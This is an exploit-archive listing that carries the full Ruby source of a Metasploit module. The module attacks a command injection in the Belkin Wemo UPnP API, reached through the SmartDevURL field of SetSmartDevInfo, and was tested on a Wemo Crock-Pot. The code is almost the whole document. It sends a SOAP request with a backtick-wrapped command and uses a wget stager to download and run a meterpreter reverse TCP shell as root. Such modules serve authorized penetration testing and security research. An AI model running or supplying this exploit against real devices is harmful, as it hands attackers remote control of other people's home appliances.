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Belkin Wemo UPnP Remote Code Execution

Belkin Wemo UPnP Remote Code Execution
Posted Feb 19, 2019
Authored by wvu, phikshun | Site metasploit.com

This Metasploit module has been tested on a Wemo-enabled Crock-Pot, but other Wemo devices are known to be affected, albeit on a different RPORT (49153).

tags | exploit
MD5 | 0fd7eecb8934bc297b3e72685d5254c4

Belkin Wemo UPnP Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Belkin Wemo UPnP Remote Code Execution',
'Description' => %q{
This module exploits a command injection in the Belkin Wemo UPnP API via
the SmartDevURL argument to the SetSmartDevInfo action.

This module has been tested on a Wemo-enabled Crock-Pot, but other Wemo
devices are known to be affected, albeit on a different RPORT (49153).
},
'Author' => [
'phikshun', # Discovery, UFuzz, and modules
'wvu' # Crock-Pot testing and module
],
'References' => [
['URL', 'https://web.archive.org/web/20150901094849/http://disconnected.io/2014/04/04/universal-plug-and-fuzz/'],
['URL', 'https://github.com/phikshun/ufuzz'],
['URL', 'https://gist.github.com/phikshun/10900566'],
['URL', 'https://gist.github.com/phikshun/9984624'],
['URL', 'https://www.crock-pot.com/wemo-landing-page.html'],
['URL', 'https://www.belkin.com/us/support-article?articleNum=101177'],
['URL', 'http://www.wemo.com/']
],
'DisclosureDate' => '2014-04-04',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_MIPSLE],
'Privileged' => true,
'Targets' => [
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic'
}
],
['Linux Dropper',
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE,
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
}
]
],
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
))

register_options([
Opt::RPORT(49152)
])

register_advanced_options([
OptBool.new('ForceExploit', [true, 'Override check result', false]),
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/setup.xml'
)

if res && res.code == 200 && res.body.include?('urn:Belkin:device:')
vprint_good('Wemo-enabled device detected')
return CheckCode::Appears
end

CheckCode::Safe
end

def exploit
checkcode = check

unless checkcode == CheckCode::Appears || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end

case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
cmdstager = generate_cmdstager(
flavor: 'wget',
temp: datastore['WritableDir'],
file: File.basename(cmdstager_path),
noconcat: true
)

# HACK: "chmod +x"
cmdstager.unshift("cp /bin/sh #{cmdstager_path}")
cmdstager.delete_if { |cmd| cmd.start_with?('chmod +x') }
cmdstager = cmdstager.join(';')

vprint_status("Regenerated command stager: #{cmdstager}")
execute_command(cmdstager)
end
end

def execute_command(cmd, opts = {})
send_request_cgi(
'method' => 'POST',
'uri' => '/upnp/control/basicevent1',
'ctype' => 'text/xml',
'headers' => {
'SOAPACTION' => '"urn:Belkin:service:basicevent:1#SetSmartDevInfo"'
},
'data' => generate_soap_xml(cmd)
)
end

def generate_soap_xml(cmd)
<<EOF
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">
<SmartDevURL>`#{cmd}`</SmartDevURL>
</u:SetSmartDevInfo>
</s:Body>
</s:Envelope>
EOF
end

def cmdstager_path
@cmdstager_path ||=
"#{datastore['WritableDir']}/#{rand_text_alphanumeric(8..42)}"
end

end

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